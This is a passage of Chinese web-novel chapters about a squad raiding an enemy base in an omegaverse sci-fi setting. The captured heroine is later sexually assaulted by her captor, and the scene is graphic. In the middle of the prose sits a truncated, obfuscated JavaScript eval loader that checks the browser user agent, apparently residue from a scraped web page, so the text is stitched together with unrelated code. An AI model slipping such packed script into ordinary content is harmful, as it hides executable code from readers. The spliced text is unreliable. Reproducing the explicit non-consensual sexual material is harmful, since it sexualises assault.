“别忘了,干扰器只有4个,用的时候省着点。”留下一句叮嘱,尹霄席地而坐,光脑投射出来一台大型计算器,他又开始手指飞舞。 脚下的干土发出沙砾的摩擦声,荧光将将照亮墙壁,上面锈迹斑斑,应该是一种金属材质。 池泷想,就像一个防空洞。 三人很快到达尽头的门前,仍旧是林息用几秒开了门,眼前出现的却是一堵墙。 熟练地上前摸索了几下,很快这面墙也消失。 池泷手中已然掐好了干扰器,三人做好战斗准备,但眼前出现的景象却让三人愣了一下。 这是一个冰冷的房间。 探测仪仍旧没传来警报,白簇便率先进入,其次是林息,走之前他还往后看了一眼。 而池泷进入后,果然那面墙又恢复了原状,变成了这个房间的墙壁。 “好像是间病房。”池泷用气音说道,同时从背包中。 房间内,四处摆放着被涂成墨绿色的铁床,上面灰扑扑、烂唧唧的一堆,应该是床单被褥。 在不远处的地面,则散落着一些注射管。 “有可能还是儿童病房。”林息从其中一张床上拿起一件物品,两人上前查看。 依稀能看出,是一个蓝色的小狗玩偶。 而玩偶的模样,让池泷和林息同时皱起了眉头。 然而时间紧迫,来不及多想,三人快速将房间调查一番。 除了眼前的这些东西,某一床边的墙上,歪歪扭扭地刻着一个三角形,有两条边,还分别多出了一块,像极了一个没画完的“A”。 此外,没有其他线索。 “拍照片,先离开。”听见池泷如此说,三人便各自拍了几张照片,随即走到房间门前。 “难怪飞燕的人不监控这个地方,看这个样子,可能他们根本就不知道。”池泷推测。 门后依然是一面熟悉的墙壁,三人做好准备,林息摸索了几下,墙壁再次缓缓消失。 消失的一瞬,池泷率先将探测仪扔了进去。 接收到传回的讯号后,池泷打开干扰器,监控画面瞬间被替换重置。 三人相继冲出,而那面墙不久后,再次恢复成原样。 幸运的是,这里通向的是一间库房,除了一个隐蔽的监控点外,没有其他守卫。 不幸的是,根据白簇扫描仪传回的结果看,他们现在应该在基地最深处。 也就是离上次白簇硬闯的通道,最远的地方。 “真不愧是我们。”池泷脑海中闪过这个想法。 仍旧时间紧迫,队伍变换,池泷站在林息和白簇身前,戴好耳挂式光脑后,基地的地图在左眼前呈现。 地图上有些不同颜色的光点在移动,分别代表着监控、敌人和仿生人。 冲身后的两人一点头,库房的门瞬间被打开。 眼前发生的事情,让林息有那么一秒。觉得自己应该是震惊的。 可还来不及震惊完,立马就被攫取了全部心神。 门开的一瞬间,池泷以肉眼难以捕捉的速度出手。 探测仪传回的信号,比前两次复杂得多。 果然在她出现的瞬间,就像误入蜘蛛洞一样,全副武装的仿生人,从不同角度瞬间出现。 同时微型机器人的嗡嗡声,让池泷忍不住动了动耳朵,想要消除这种不适感。 但这样的事情,仍未影响池泷看到机器人后,瞬息将探测仪、电流网、电离防护罩扔出。 眼花缭乱之间,每一个辅助设备,却都精准地落到,发现入侵者后、迅速出现的守卫机器人身上。 为什么没有选择干扰器。 就是因为昨天小队商议战术的时候,提到过,在复杂情况下,就算替换了监控画面,守卫机器人身上可能也带有报警系统,可以让基地快速确定入侵者的位置。 因此,没必要在探测仪传回多重信号后,浪费数量稀少的干扰器。 同时,池泷他们也要尽力在短时间内,确定守卫机器人被触发的时间、距离,以保证基地其他人收到警报前,替换监控画面,抹掉行踪。 几秒后,已经出现的仿生机器人就被锁定干扰或者被电力网压制,能够吸引巡逻队的声音警报,被暂时掐断。 可图上又出现了一处颜色奇怪的圆点,池泷估计,这应该是人类巡逻队。 果然,耳麦中传来尹霄的声音:“机器人身上确实有其他警报装置,人类靠近,快行动。” 话音刚落,白簇便紧随其后快速冲出,踏出右脚时,她便被电离防护罩包裹,身上的扫描仪瞬间覆盖其所到之处,形成地图,又在几息之间传回三人的光脑上。 她什么也不用做,只需要按照计划,使出最大实力,极速奔跑,一切的阻碍,都能放心交给池泷和林息处理。 看到这一幕的林息,立马收敛心神,余光避开地上栓成一团的仿生人,盯着地图的同时,尽力跟在两人身后,心无旁骛地判断网络接口的可能位置。 三人就这样一路前进,按照他们的推测,三十秒内,三人应该是不会撞上巡逻队的。 但毕竟这次的行动有些莽撞,四人又对基地了解有限。 十几秒后,三人不断奔行的通道尽头,拐角处出现了拿着武器的巡逻队。 这些人行动迅速,从出现光点到看见人影,也不过几秒。 所幸看到敌人身影出现在拐角的瞬间,林息成功判断出最近的、具备网络接口的房间,位于左侧一条岔路的尽头,随即他向两人比了个手势。 “走。”池泷毫不犹豫掏出手枪,朝远处射击。 灯光被打碎,走廊陷入黑暗。 下一秒她将夜视套装扔到三人身上,周身一阵清凉,原本的黑暗前途,瞬间清晰地呈现在眼前。 跟着林息,三人迅速拐进通道。 和一开始一样,接到警报的仿生人,从不同地方快速朝他们攻击而来。 池泷的射击速度已然提升到新高度,仿生人倒下的地方距离他们越来越远。 透过夜镜,林息第一次看见她如此认真的模样。 黑眸冰凉如水,杀意被暗藏。 林息也掏出手枪。 而白簇,此刻拿着不知道什么时候拿到的仿生人枪支,朝四周不断射击。 监控破碎,微型机器人也不断落下,通路被清理了出来。 走到离房间最近的一个交叉路口时,池泷脚步放慢。 地图上能看到,身后颜色奇怪的光点,以令人心惊的速度赶来。 她快速判断了距离,扔出了第二个干扰器。 果然,仿生和微型机器人不再新生。 看到这一幕,林息撇了眼池泷,心底的讶然,被狠狠按在蓝色的眼眸深处。 她怎么能如此迅速,就找到机器人出现的时间和距离呢? 此时白簇朝两人歪了歪头,池泷快速略了一眼地图。 或许是因为基地深处的建筑复杂,上次60秒便能探寻三分之一,这次临行前,林息对白簇的扫描仪也做了改进,扫描范围和频率得到了大幅度提升的情况下,在这十几秒后,地图中间部分有几处还是暗色。 她皱眉,快速说了句:“30秒”。 林息率先点头。 白簇比了比大拇指,池泷便将手里的压缩包扔给白簇,三人瞬间兵分两路。 池泷和林息侵入网络,白簇引开追兵。 毕竟如果三人一直在一起,敌人通过不断被破坏的监控和机器人守卫,也能确定他们的位置。 但监控和追兵不可能一时半会被消灭,直接侵入网络还是最高效的办法。 现在这一路径的监控被替换,池泷和林息可以暂时放心潜入房间。 而池泷给白簇的包里也有白家“赞助”的机器人,虽然无法变化成两人的形象,但套上相同衣物奔跑,从背影看,谁认得谁呢? 因此在基地监控的眼中,三人还是在同时逃命。 不得不说,一定程度上,白家在打击飞燕一事上,也算是居功甚伟。 探测仪传回的信号,让池泷肉疼地扔出第三枚干扰器,两人进入房间。 “真不愧是我们。”池泷脑海中再次闪过这个想法。 玻璃墙的后面,大量整齐排列的黝黑机甲像一支蓄势待发的军队。 和两人之前见过的机甲不同之处在于,这里的机甲右肩处,镌刻着黄金色“黑焰”小篆变形体。 之所以是变形体,是因为原本仙风道骨的字体,变形后,竟透露出一股遇神杀神的狂妄。 配上压抑沉重的机甲,确实像一把幽黑火焰,准备潜伏着去烧光所到之处。 忍不住冷笑一声,池泷脑中过了一遍已知的机甲制作大师,却记不起会有人对自己的作品留下这么疯癫的铭文。 而且机甲站立的房间,布满正在工作的机械臂,它们将字体磨灭,再重新喷漆。 这种行为无疑是对机甲设计师的不尊重,一般机甲师绝对不会允许这一行为发生。 果然,看到这一幕,将储存卡插入控制器、正在爬墙入侵的林息手指未停,但脸上也难免透出,肉眼可见的厌恶。 房间一侧有一扇门,应该能进入机甲存放处。 可门锁设了几重,池泷只能辨认出,其中有一个全身扫描,她站得离房门更远了点,如果被扫描到搞不好会触发警报。 可惜这次的任务只是探索基地,恨得牙痒的池泷忍不住搓搓手指。 “5秒。”林息出声,池泷看了眼时间,和老白约定的时间一分不差。 25秒足够他俩去找老白汇合了。 左眼前的地图细节正在不断完善,几近尾声。 等到网络侵入完毕后,他们就可以神不知鬼不觉地在入口集合,返回地上。 如果计划顺利的话。 距离侵入完成还剩1秒的时候,耳麦中突然传来一个陌生的声音:“喂?喂?有人吗?哈哈。” 汗毛乍起,池泷心跳突然漏了一下,她和林息对视,对方的眼睛里也满是震惊。 “你是谁?”尽量保持声音平静,池泷看了一下声源,来自尹霄的麦。 “原来有人啊,呵,给你个坐标,过来吧。”对方听见池泷的声音,语气随意地回复道,仿佛和池泷熟稔得很。 池泷皱眉,还想说什么。 没料到对方突然又来了一句:“哦,你们还有个红发的伙伴吧,呃——那个烧火味的?” 拳头瞬间攥起,池泷眼中开始凝聚暴风雨,她厉声呵斥:“你想干什么?” “唉——这人弄坏了我们好多机器人,还弄伤了巡逻队,”对方声音悠悠,并不惧怕,“我只是伤她一条胳膊合情合理吧,哦对了,这俩是情侣吗?那个小omega……” 没等对方说完,池泷便一把扯下耳麦。 她脸上毫无表情,眼白处逐渐漫延血丝,脖颈和手臂上青筋暴起。 “回地面。”声音压抑得可怕。 一瞬间,林息觉得房间四周似乎有黑影在不断上涌,连光线都暗了一些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见势不妙,林息赶忙上前。 他想将池泷往回拉扯,却发现她肌肉紧绷,自己的手掌根本握不住任何发力点,俨然一副不死不休的状态。 于是他改拉为拍,重击她的手臂和手肘。 “你醒醒!”林息大吼,声音急切,企图呼唤池泷游离的理智。 水汽不断挤压着空气,哪怕是崖柏也被无情地吞噬。 林息只觉得自己愈发呼吸困难,他大口喘气,拼力大喊:“救!呼呼呼……人!” 可能是真的有用,池泷缓缓放开了手。 那人的下巴,已经全部被鲜血染红,胸前的衣物更是惨不忍睹。 倚靠墙壁,那人大口喘着气,却仍旧咳咳地笑着,夹杂着不清亮的声音:“难怪……” 说话间口中不断溢出鲜血:“太完美……” 细长的舌尖打了半枚漂亮的珍珠,将血液在唇面妖媚地划开。 这人其实很美。 柳眉尖尖,另半枚珍珠被雕刻成锁链,截断了眉的延伸。 细长的丹凤眼型、小巧的鼻子,却有着丰满的唇部,紫牙乌般的头发披了一肩,将奶白皮肤映衬得如同丝绸,直叫人想摸上一把。 虽然此刻形状狼狈,但撕裂开的上衣仍能看叫姣好的锁骨,里面盛着一尾游曳生动的墨鲤,此刻被红色浸染半边。 鲤的唇吻正好叼住小巧的耳垂,引人撕咬。 衣摆行动间,偶尔露出隐秘的粉红,是一种尚未被沾染的妩媚。 扶住墙壁的手指修长尖利,两只手背上对称纹着火红业莲,甲盖上又是用小颗珍珠拼凑的十种不同图案。 相反于林息雪白芍药般地自然大方,不同于omeg甜蜜可人的糖果气质。 这人,妖娆繁复得像腐烂的曼珠沙华。 将两人隔绝开来,林息将池泷藏在身后。 “人在哪里。”他冷漠地看着那人,声音冰冷、暗含警告。 “嗤……”那人不屑地笑了一声,没管因为水汽正在地上哀嚎的手下们,眼神深深透过林息的肩膀,却发现池泷只是在盯着林息。 不高兴地噘了下嘴,但随即又高兴起来,那人玩笑一样地说道:“拿她换。” 黏腻的眼神一直企图穿过自己,林息调整了身形,再次将目光隔绝。 他面上难掩厌恶:“我们已经侵入这里的网络,控制了主程序,杀你和其他人也是易如反掌,你还有什么谈判的资本?” “所以呢?”对方挑起眼角,整个人还多了几分慵懒,“你们找人,咳咳,也需要时间,但杀我和,咳,杀他们,几秒、就够。” “而且——”就在林息觉得不对劲时,对方突然将打了一个响指。 瞬间水汽消散,一声痛苦的呻吟突然从身后传来,他猛然转头,看见池泷跪在地上,满头冷汗。 而池泷只觉得,后颈突然疼得厉害,似乎有人在拿着一根尖细的长针,毫无留情地往中心深处,直接刺了进去。 她紧咬牙关,牙齿摩擦的骨骼交响不绝于耳。 忽然,她又五感尽失,眼前一片漆黑,静谧的黑暗中只有她一个人,无法呼吸。 “你疯了!”发觉不对的林息咒骂道,回身抱住池泷。 他握住绑在脚踝的匕首,看向对方的眼神仿佛在看一个死人。 “哎哎哎,不是我,”双手举起,对方牙齿血红,却仍旧娇媚地笑着,“我只要她,你们三个,咳咳,走就是了。” “不!可!能!”一字一顿,林息抽出匕首,站起。 对方却往前走了两步,眉眼低落,一脸的好心和遗憾,让人心疼。 漂亮的手捂住嘴,咳了两声才说道:“你不敢,咳,而且你们再不走,”手指向池泷,被红血浸染的业莲似乎有生命般地缓缓盛开,“她就要死了。” 可林息却好像并未听进去一般,刀锋寒光乍现。 水汽褪去后,逐渐恢复正常的巡逻队也纷纷起身,将枪口对准了他。 可这一幕也仍旧没能停下林息逐渐逼近的脚步…… 下一秒,一道声音艰难响起,“我换。” 林息停下脚步,却没转身。 直到他感觉有人攀着他吃力站起,夏日单薄的衣物,无法抵御肩头手掌传来的冰凉,他只觉得,一瞬间血液流动都停住了。 他看向池泷。 “相信队友。”对方眼含笑意,搭在自己肩膀的手坚定地捏了捏。 而碧蓝眼眸沉沉得像一片深海。 不知道为什么,池泷还能感受到崖柏的味道,带着一股强烈的悲伤无助。 她勉力笑了笑:“出去了再来救我。” 丝毫不避讳,两人正在敌人的包围圈中央。 虽然看不见自己的样子,可她也知道她现在一定难看得很。 信息素好像被封住了,但五感都恢复了。 脖颈后,规律地传来钝钝的痛楚。手心脸上全是冷汗,身体的疲乏让她喘气也觉得艰难。 只是不能表现出来。 因为手掌握住的那具身体,僵硬得像一块石头,可想而知他的心情了。 相信队友,他们出去一定能把自己救出来。 “不要告诉家长。” 叮嘱完最后一句,池泷伸开双手,任凭巡逻队将自己抓住。 原来alpha抓人的力道这么大,被捏住肩膀的池泷差点痛叫出声。 可她只是咬了咬腮帮的软肉,深呼吸后说道:“送他们出去”。 “唉——好可惜啊——”那人打量了仍旧僵立的林息一眼,眼中的恶意,伴着故意拉长的腔调,毫不收敛。 接着,那人挥挥手。 不多时,白簇和尹霄就被带了上来。 尹霄明显已经哭过了,双眼通红。 他嘴角沾有鲜血,衣物上也血迹斑斑,上衣下摆还有被撕裂的痕迹。 怀里是白簇,她右手臂和肩膀的连接处被人用衣物包起,但仍旧血流汩汩。 原本意气风发的alpha,此刻脸色煞白地昏睡在尹霄怀中,那股火焰的气息似乎只有火柴那点儿大,颤颤巍巍地努力燃烧着。 看到池泷被抓住,尹霄先是震惊,看清池泷的模样后,又转为深深担忧。 刚准备张嘴,就被池泷打断:“走,你们三个。” 眼看着尹霄要起身,林息却快速上前,一掌劈晕了他。 听到声音,池泷向他投过感激的一眼。 刚才尹霄张嘴的瞬间,她已经看到他满嘴的鲜血。 “我这个人心好,咳咳,尤其是你的朋友,”那人靠近池泷,轻轻拍了拍她的肩膀,又摩挲了几下。 眼中的欲望和迷恋似乎要化为实质,语气黏腻:“我可以让人把他们放在悬浮担架上,顺带让你亲眼看着他们离开,安心咯。” “多谢。”池泷语气平静。 她知道现在和这群人硬碰硬,对他们没什么好处,尽快送三人离开,才是当务之急,尤其是白簇。 “啊——讨厌。”虽然是矫揉造作的撒娇,可这人做出来,却只让人觉得心痒。 那人开心地吩咐:“快点,赶紧把他们弄走。”随 后又转身看了眼池泷,满脸赞叹:“啧啧啧,你可真能忍。” 不知道具体指的什么,池泷没接话。 只盯着两人被放上担架,林息站在中间,两边有四名基地的巡逻队,押送着他们往另一方向走去,那里应该就是白簇一开始进来的地方。 那人也在此期间,接过手下送来的手帕和药,擦了擦脸上的血迹,又吃了药,感觉恢复了不少。 在此期间,林息没有再看过她一眼。 三人的身影消失,池泷才缓缓呼出一口气,感觉到放心。 “你不怕我派人追杀他们?”那人看着她的反应,笑容恶劣地将脸凑到池泷眼前,问道。 “除非你想惹到那三家。”将脸往后移了移,池泷实在讨厌这人靠自己这么近,鼻息都呼到自己脸上了。 “不然你也不至于留他们一命,早就开枪了。”尽管易了容,可池泷总觉得这人好像认识他们四个。 那自然地,也应该知道林息他们的身份。 “聪明的小老鼠,”那人离得远了些,往基地内部走去。 此刻池泷双手双脚已经换上了电子镣铐,只能拖拖拉拉,跟在那人身后。 “不想知道我留下你是为什么吗?”走在前面的人继续问,那种语气,就像是给鱼钩套上鱼饵,期待着不“空军”。 说真的,池泷也有这个疑问。 但看这人总是嬉皮笑脸玩弄人的样子,她实在是不想让其如愿。 “不想知道。”撇下这句话,池泷只看眼前的路,无论那人说什么也不再开口了。 没有出现料想中的反应,那人不高兴地噘噘嘴,但不知道想到了什么,又开始开心地哼上了小曲儿。 情绪变幻的速度之快,令人瞠目结舌。 44.第41章 娑利姌像一棵腐朽的大树,直挺挺地站在床头。 灰蓝色的头发层层垂下,彻彻底底遮住了她的面容。 窗外狂风大作,风雨狂暴地吹开窗户,玻璃窗叶重重砸在墙壁上! 碎片迸散,落在木质地板上,诡异地闪着亮光。 本应该拄着拐杖的老人,此刻却坐在窗棱上。 脖子那里绕着一条腕粗黑黝的麻绳,眼窝空洞,远远望去,一片漆黑。 弱白嘴唇轻张,发出“shi……”的声音,好似一把锈锯切割枯老的木条。 池泷转向他,老人却猛地往后仰倒! “不要!”向前跑,池泷想抓住什么,脚步却被绊住。 眼前画面一转,她看了看四周,竟然身处在自己的宿舍中。 “你回来了,池姐?”尹霄笑吟吟从门口钻出,手里大包小包提着一堆东西。 虽然看不清,但池泷觉得,那应该是一些食材。 “买这么多东西做什么?”上前接过袋子,看着尹霄急促呼吸的样子,池泷无奈地说道,“哎呀提不动的话,找人帮忙啊。” “找谁?”尹霄愈发急喘,似乎呼吸已经让他体力透支。 他蹲下身,带着哭腔说:“找谁来帮我?” “找……”一时间,池泷心急如焚,可话到嘴边,却怎么也想不起来那个名字。 是谁?是谁来着? “是我啊……”血红色的手掌遮住眼帘,池泷只能从指缝中看到一抹火红。 “你是……”池泷犹豫着,迟迟想不起这人的名字。 似乎过了好久,因为想不起那个名字,指缝中,她眼睁睁地看到宿舍的物品,一样样渐渐碎裂、变成粉末, 突然,她惊叫出声:“老白!” 然而,白簇和尹霄并未回应她。 血色手掌消失,两人突然站得离她好远好远。 白簇的左臂血流如注,空空荡荡,而尹霄满头大汗,大口喘着粗气。 两人看了她一眼,便回过身去,越走越远。 “别走,你的伤!”池泷拔腿欲追,可再次被一股力量阻碍了前进的脚步。 她低头一看,不知道从哪里来的透明、浓稠液体,不知何时,竟然漫到了脚踝。 带着奇怪的温热,似乎有生命般流动…… “刷”地一下睁开眼,池泷急促地大口呼吸。 身上传来极其不适的黏腻,还有一种莫名的压迫感。 她想动动腿,却突然发觉腿上有一股陌生的重量。 “你……哈,醒了?”熟悉的声音。 揉揉酸疼的眉间,池泷慢慢地、勉强撑起上半身。 迷蒙中,眼前发生的,让她一时间转不过弯来。 纯黑的蕾丝睡裙将将遮住玉白肉臀,伴随着身体的移动,黑白交替、深邃隐现。 后背是一条长长的V形,深陷的腰窝流转着昏黄的夜灯灯光。 脊骨深深凸起,顶端精致得像一串好盘的白玉菩提。 光滑白嫩的腰背此刻像一条游蛇般摇摆,像来自西域异族的神秘舞者,柔软的细腰让人忍不住去偷窥、去摩挲。 纤细却有力的长腿抵住床铺,小巧的脚趾全数紧绷,为某处正热火的摩擦使着劲。 紫牙乌的头发似乎被扎了起来放在胸前,只能从手臂空隙里看到它规律的摆动。 发尾划过大腿皮肤,带起丝丝瘙痒,黏腻的液体早已淌了一滩。 池泷只腿上觉得温热滑溜,某处正被有份量地、好似揉捏般的感觉。 睡裤和床单上印了一大圈的水渍,说明身上这人到底有多努力。 双手摁在池泷大腿上,手指不时在大腿内侧打着圈。 冰凉的触感,让本就噩梦惊醒的池泷汗毛竖起。 瞬间清醒了过来。 她下意识就想将人掀开,不料下一秒这人突然“啊——”地尖叫一声,声音凄厉地让池泷想捂住耳朵。 大腿肌肉被重重捏住,腿上的人身体紧绷,又是一股温热粘稠流了下来,带着淡淡莲香,妖糜摄人。 然而这种场景只让她厌恶地皱眉,心中半点不想再拖延,她双腿准备发力,不带半点怜惜。 这人却在被扔出去前,便翻了下来。 双腿大喇喇地朝她分开,池泷赶紧转头,免得看到什么不该看的东西。 “哈……哈……”那人半撑在床上,像濒死的鱼一样大口喘着气。 看着池泷回避的样子,又轻笑了几声,尚未恢复的声音如狐如魅:“怎么不看我呢?” 玉臂不满地拍了床单几下,尚余粉色的臀,还磨着床单轻轻摇了摇。 一时间被这人毫不羞愧的语气顶了个无语,加上刚才那一幕的冲击,池泷只觉得浑身难受。 尤其,头疼得像有个人拿着钻头钻进了太阳穴。 她依旧没转头,沉默了几秒,只闷闷说道:“快走,床单机器人会换。” 说完就要起身,没想到人似乎没打算离开床铺。 后面一阵莲香逼近,上半身被冰凉的胳膊抱住,不安分的手一只往池泷胸口钻,另一只从睡衣底下摸了上去,沿着因为生气绷起的腹肌纹路缓缓抚着。 鬼魅般的声音在耳边响起:“不想要我吗……主人。” “你……”耐心彻底耗尽,池泷这一秒只想把这人甩出去。 她迅速摁住双手,将它们抽出。 正准备顺势将人向门口拖拽,不料那人却突然发力。 双手以诡异的角度挣脱桎梏,瞬间将池泷双手拉至身后,一个侧翻,凭借身体的重量将她压到床上。 仍旧戴着伪装的脸庞,正好被摁在那块不小的水渍当中。 刹那间屏住呼吸,池泷歪过脸。 右腮摔进去的感觉让池泷觉得耻辱又愤怒。 她挣了挣,却不知道那人用了什么手段,加上此刻浑身力气不如以前,她竟然挣脱不开,心下更加愤恨了。 “有些味道,尝过就放不开了,”那人趴在池泷背上,手指意有所指地点了点她的脖颈。 然而死物般的腺体仍旧没有任何波动。 “啧,”那人不满地啧啧嘴,用腿将池泷双腿分开,膝盖碰了碰到现在为止没有任何变化的地方,哀伤地叹了口气,“你是不是不行?”。 屈辱!被迫趴在身下的池泷更加血气上涌! 如果不是自己此刻仍旧无法使出全力,她一定要让这个人,为其下作的行为付出代价! “别动了。”屁股被拍了拍。 因为眼前的情况,池泷也无法张嘴,只能大幅度摇摆身体,紧绷着四肢,和背上的人努力对抗。 “好啦好啦,放你起来。”毫无配合的池泷似乎让对方失去了兴致。 那人翻身下来,池泷像受惊的兔子一般,快速跳离了床铺,站得老远。 没有看床上的人,但她避开的眼神中,透露出压抑的杀意。 “噗嗤。”那人肆无忌惮地笑着。 重新调整心绪的池泷再次望向那人,此刻她已恢复面无表情。 而那人正翘起二郎腿坐在床边,一只脚随意勾翘轻点,胳膊放在身后撑着。 一边睡衣带滑落肩膀,细滑的布料又被凸起挡住,堪堪遮了半边。 “你瞧,没有信息素的你,连带给omega快乐的能力都没有,像个废、物。”勾起的唇角带着引诱,说出的话却讽刺得厉害。 “那你还不快走?”这一操作实实在在惹怒了池泷,被侵犯的感觉席卷身心。 盛怒之下,头脑却越发冷静,现在还不是惹怒眼前人的时候。 她进一步压下杀心:“反而在这里卑鄙地求欢,一个人不也玩了很久?” 教养让她说不出更混账的话,可神情实在是藏不住她的厌恶了。 “那确实,毕竟休息的时候,也很可观呢。”听到这话的人并未收敛,反而好像更加兴奋了起来。 露骨的眼神如有实质,像一条黏糊的触手一样,朝池泷下面摸去。 硬挺着身体没动,池泷声音冷酷:“用总归是用了,我不能吃亏吧。” “你有什么资格谈条件?”玉手捂住因为兴奋愈发娇艳红润的嘴唇。 虽然音色娇软,可那双眼眸里是张扬的不屑:“一个被omega压在身下都没力气反抗的alpha……” 欲言又止的语气,无疑在努力将池泷推向暴怒的边缘,似乎看她发怒是一件令人愉悦的事情。 池泷自然不会让他如愿。 揉揉比刚才好多了的额头,却摸到一手冷汗,一时间又让她平静了不少。 “我想要在这里自由活动,”晃动手腕上的镯子,池泷只管提出要求。 她直直望向那人,目光冰凉:“你也不想我见到你们首领的时候,说这些吧。” 她在赌,赌这个浪荡的人不敢脱她 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确实,那人看到这一幕也并不惧怕,反而拍拍手,高兴地站起身。 走到池泷跟前,他看着池泷,暗紫的眼眸中,似乎暗藏着无数的黑鳞长虫在不断游动。 血红的嘴唇勾起,语气如同娼妓演戏般欢畅:“就是这个表情,太好看了。” 冷冰冰的手拍拍池泷的脸:“希望你到我手里时,这种表情,坚持得比他们都久一点。” 说完,扭着身体就离开了,雪白的大腿上仍旧有液体滑落,踩过的地方留下肉眼可见的水脚印,扎眼得很。 先前给自己喂药的时候,还以为这人有洁癖。 这种情景下,却反而没有任何心理负担地离开了。 池泷看不透眼前的人,这人的一举一动都和她以前见过的人不一样,似乎没有道德上的底线。 不管那么多,不忍直视自己惨不忍睹的下半身,好在机器人及时送来了新的衣物。 上好的真丝睡衣在池泷手下破碎,这次池泷选择躺进放满温热洗澡水的浴盆中,特地点了森林木调的香氛,清新的气味让人逐渐舒缓。 她整个人沉入水下,一时间世界安静了很多。 尽管经历这样的不堪,但好在达成了自己想要的结果,池泷想。 虽然没有明说,但那人默认了自己可以随意在基地走动。 不过也间接说明了,自己手上的镯子和基地的警备应该近乎万无一失。 不过刚才那人说自己是omega吧?水底下池泷也忍不住皱眉,表情上看,似乎在忍受什么痛苦。 可自己信息素消失前,并未下意识判断出他的性别。 池泷忽地想起,这人在自己暴怒时爆发的强烈信息素下,没有产生任何异样。 如果说林息是因为跟自己有过某种联系,而没有出现太大的反应,那这人是因为什么? 而且在没有信息素后,刚才自己却莫名其妙闻到莲花味道? 有种不妙的猜想在池泷脑海闪过,她后悔刚才没有看一下他的腺体。 心下却又庆幸没看,不然再接触,还不知道会发生什么。 脑海中因此难免闪过刚才的一些片段,也正到了池泷憋不住气的时候,她“哗”地坐起身,企图甩掉这段记忆。 心中无语,这人干这样令人不齿的事情,竟然这么轻车熟路,估计那股莲花味道,也是天生或者……特地培养的? 后一种想法让她不寒而栗,到底谁有这种恶趣味专门培养这种东西啊? 或许是林木香调令人熟悉,池泷突地想起自己脑中储存的另一片段。 “明明……更可爱”,这样嘟囔着,她起身擦拭。 无论是镜中,还是林间,那种无暇圣洁的雪白,才更令人惊心动魄些。 “啪!”给了自己一个脑瓜崩,池泷随即念了好几句“阿弥陀佛”。 身在敌营还想些有的没的,是嫌自己活得太长了吗? 然后她就看见了刚才起一直在被贬低,此时却突然出现反应的“能力证明”,再次陷入了沉默。 至少说明自己的身体在变好,池泷慌乱地换上新睡衣,猜想到,又或者是香氛中被人故意加了什么奇怪的东西也不一定。 尽管出门看到机器人已经更换了新床单,她仍旧没有犹豫、自我安慰着选择了睡沙发。 45.第42章 另一边,林息三人一直被押送到通道口外。 “敢回头就杀了她。” 留下这样一句话,那四名巡逻队员就转身离开了。 然而林息也不会回头,他拿出光脑,急切地拨出一个通讯。 响了一秒,对面便传来讶异又惊喜的声音:“小息?你怎么会这时候给我通讯?你……” 光脑那头的人滔滔不绝,似乎有无数的话想说。 可被林息无情地打断了,他报出了一个附近的坐标,紧了紧嘴唇,才吐出两个字:“帮我。” “好。”对面的人好像无形地叹了口气,“医疗运输5分钟到达,紧急救援待命,飞船光跳,央星我会找人出面。” 等了一会儿,林息并未回话,对面才说了一句:“保重,你今天能联系我……我真的很高兴。” 说完,便挂断了通讯。 屏幕熄灭,自虎口处蜿蜒而下的血渍,逐渐浸染光脑,林息的嘴唇比刚才更加紧抿。 四周的虫鸣,忽地唤回他的神志。 他这才发现,原来那把匕首割破了自己的手掌。 用绷带随便处理了一下,没再犹豫,林息将人带到约好的坐标。 拿出便携式治疗仪,将呼吸听起来似有异声的尹霄抱了进去。 看着他昏睡中依旧眉头紧皱的痛苦模样,林息伸手想要抚平眉间褶皱,但并没有什么用。 “我会把池泷带回来,白簇我也会安顿好。”摸摸尹霄的头发,将他因为折断而角度异常的手腕放好。 合上治疗仪时,尹霄眉头却已经松开。 “至于你——”林息能肯定的是,军校发的这种治疗仪,对白簇的伤势,能有九牛一毛的作用就不错了。 为此,去折腾这具胳膊摇摇欲坠的身体,无疑得不偿失。 拿出提前备好的、带有冷却效果的止血带,林息手法娴熟地将连接处固定了一下。 “身体机能绝佳,加上异于常人的生理素质,赶到央星做手术应该没问题,池泷我会救,尹霄没事。” 然而,白簇并没有因此,展现出一点好过。 她依旧满脸冷汗,面庞苍白,失去血色的嘴唇瓮动。 垂死挣扎的火焰信息素,却扑腾着,像丧尸一般不死不休。 被火烧着的感觉令林息难受得皱眉,他拿出抑制颈环,不算轻柔地将它张开,箍住白簇的脖子。 晚风吹来,这才让人好受了些。 “再不听话,别说胳膊,命都保不住了。”林息冷冷地说道。 相对于和尹霄还算熟识,他对白簇的了解,只存在于传言中。 因此对其的态度,也仅仅是“不想辜负池泷的嘱托”罢了。 “你总不想,让池泷后悔一辈子,没早点救到你们吧?” 说完这句话,医疗救援就到了。 没再观察白簇的状态,林息向来人说明了两人的状况后,医护人员便迅速、专业地将伤员抬离。 临走前,医护人员递给林息一支止血剂和恢复剂。 看了一眼,林息只拿了恢复剂,向其点点头表示感谢,便准备离开。 没有打无人飞艇,林息从公园朝宾馆走去,他步伐很稳,不紧不慢。 寂静、光影、热闹、人群,林息盯着远处,沿着路线、心无旁骛。 晨光熹微,脚步从未停歇的林息,没心情去欣赏朝阳升起的场景。 他再次拿出绷带,缓缓将手掌缠起,一圈、一圈、再一圈…… 他想了很多,直接的办法、间接的办法、两全其美的办法、无所畏惧的办法。 当绷带系起,林息站定。 拿出那把匕首,碧蓝眼眸映在刀体。 晨曦划过刀刃,却划不开眸中如同冰川深海一样的冷沉。 将冰冷刀锋贴近嘴唇,大闹一场的欲望占据了身体的左侧,可右侧装着池泷的嘱托、自身的困囿、小队的安危和难脱的枷锁。 比起先进的武器,一定程度上,林息更喜欢简单的冷兵器,尤其是匕首。 固然前者的威力巨大、效果超群,可匕首刺进血肉,它带来的痛苦是长久的、哀嚎是真切的、液体是温热的,握把处的红白交错,能分明生命的存在和流逝。 林息找到一家小店,换上一身新的衣服。 天光大朗时,他在洛熙门前,缠满绷带的手紧握匕首,抬起另一只手,“咚咚”地敲响了房门。 听到机器人的敲门声,池泷再次睁眼,她有一瞬的恍惚。 直到再次看见机械时钟的钝角,原来已经8:00,这才让她有了对时间的认知。 灯被适时地打开,机器人探进头来询问早餐需求。 池泷看见它,先是愣了一下,接着随口说了几样。 